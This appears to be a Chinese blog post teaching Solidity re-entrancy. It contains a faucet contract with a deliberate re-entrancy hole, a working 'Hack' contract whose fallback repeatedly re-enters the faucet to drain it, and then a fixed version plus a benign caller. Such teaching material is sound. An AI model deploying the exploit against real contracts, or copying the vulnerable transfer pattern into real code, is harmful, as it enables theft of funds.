solidity重入攻击实例

htdf_faucet_with_bug.sol

/*
yqq 2020-12-11

a faucet contract with a bug (re-entrancy )

compile contract:
solcjs  --bin --abi hack_faucet.sol  htdf_faucet_with_bug.sol
*/

pragma solidity ^0.4.20;

contract HtdfFaucet {
    
    uint256 public onceAmount;
    address public owner ;
    
    event SendHtdf(address indexed toAddress, uint256 indexed amount);
    event Deposit(address indexed fromAddress, uint256 indexed amount);
    event SetOnceAmount(address indexed fromAddress, uint256 indexed amount);
    mapping (address => uint256) sendRecords;
    
    function HtdfFaucet() public payable{
        onceAmount = 100000000;
        owner = msg.sender;
    }
    
    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }
    
    function setOnceAmount(uint256 amount) public onlyOwner {
        onceAmount = amount;
        SetOnceAmount(msg.sender, amount);
    }
    
    function getOneHtdf() public {
        require( sendRecords[msg.sender] == 0 || 
            (sendRecords[msg.sender] > 0 &&  now - sendRecords[msg.sender] > 1 minutes ));
            
        require(address(this).balance >= onceAmount);
        
        // NOTE: THIS IS UNSAFE
        msg.sender.call.value( onceAmount )("");
        sendRecords[msg.sender] = now; // NOTE: probobaly be re-entrancy attacked
        SendHtdf(msg.sender, onceAmount);
    }
    
    function deposit() public payable {
        Deposit(msg.sender, msg.value);
    }
    
    // function() public payable{
        
    // }
    
}

hack_faucet.sol

/*
yqq 2020-12-11

hack the faucet contract , re-entrancy attack
*/
pragma solidity ^0.4.20;

import "./htdf_faucet_with_bug.sol";

contract Hack {

    HtdfFaucet public faucet;
    uint256 public stackDepth = 0;
    address public addr;
    address public owner;
    uint8 MAX_DEPTH = 20;

    function Hack() public payable {
    	// 此处也可以由构造函数参数传入
        addr = address(0xd4e2d4b954F02a6808eD7e47eAf2dF5cEEf466A4);
        faucet = HtdfFaucet(addr);
        owner = msg.sender;
    }

    // test pass, attack succeed!
    function  doHack() public {
        stackDepth = 0;
        faucet.getOneHtdf();
    }

    // fallback function
    function () external payable {
        stackDepth += 1;
        if(msg.sender.balance >= 100000000 && stackDepth <= MAX_DEPTH) {
            faucet.getOneHtdf();
        }
    }

}

修复bug之后的

htdf_faucet.sol

pragma solidity ^0.4.20;



contract HtdfFaucet {
    
    uint256 public onceAmount;
    address public owner ;
    
    event SendHtdf(address indexed toAddress, uint256 indexed amount);
    event Deposit(address indexed fromAddress, uint256 indexed amount);
    event SetOnceAmount(address indexed fromAddress, uint256 indexed amount);
    mapping (address => uint256) sendRecords;
    
    function HtdfFaucet() public payable{
        onceAmount = 100000000;
        owner = msg.sender;
    }
    
    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }
    
    function setOnceAmount(uint256 amount) public onlyOwner {
        onceAmount = amount;
        SetOnceAmount(msg.sender, amount);
    }
    
    function getOneHtdf() public {
        require( sendRecords[msg.sender] == 0 || 
            (sendRecords[msg.sender] > 0 &&  now - sendRecords[msg.sender] > 1 minutes ));
            
        require(address(this).balance >= onceAmount);

        //  update time before transfer to against re-entrancy attack
        sendRecords[msg.sender] = now;  

        // transfer only use 2300 gas, safe against re-entrancy attack
        msg.sender.transfer( onceAmount ); 

        SendHtdf(msg.sender, onceAmount);
    }
    
    function deposit() public payable {
        Deposit(msg.sender, msg.value);
    }
    
    // function() public payable{
        
    // }
    
}

call_faucet.sol

/*
yqq  2020-12-11
test contract call contract
*/

pragma solidity ^0.4.20;

import "./htdf_faucet.sol";

contract CallFaucet {

    HtdfFaucet public faucet;
    uint256 public stackDepth = 0;
    address public addr;
    address public owner;

    function CallFaucet() public payable {
        // hard coding the faucet contract address
        addr = address(0x18EDA861679664967c067bA3068414339E5B49e9);
        faucet = HtdfFaucet(addr);
        owner = msg.sender;
    }

    function  getOneHtdf() public {
        stackDepth = 0;
        faucet.getOneHtdf(); // it's ok
    }

    // fallback function
    function () external payable {
       
    }

}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值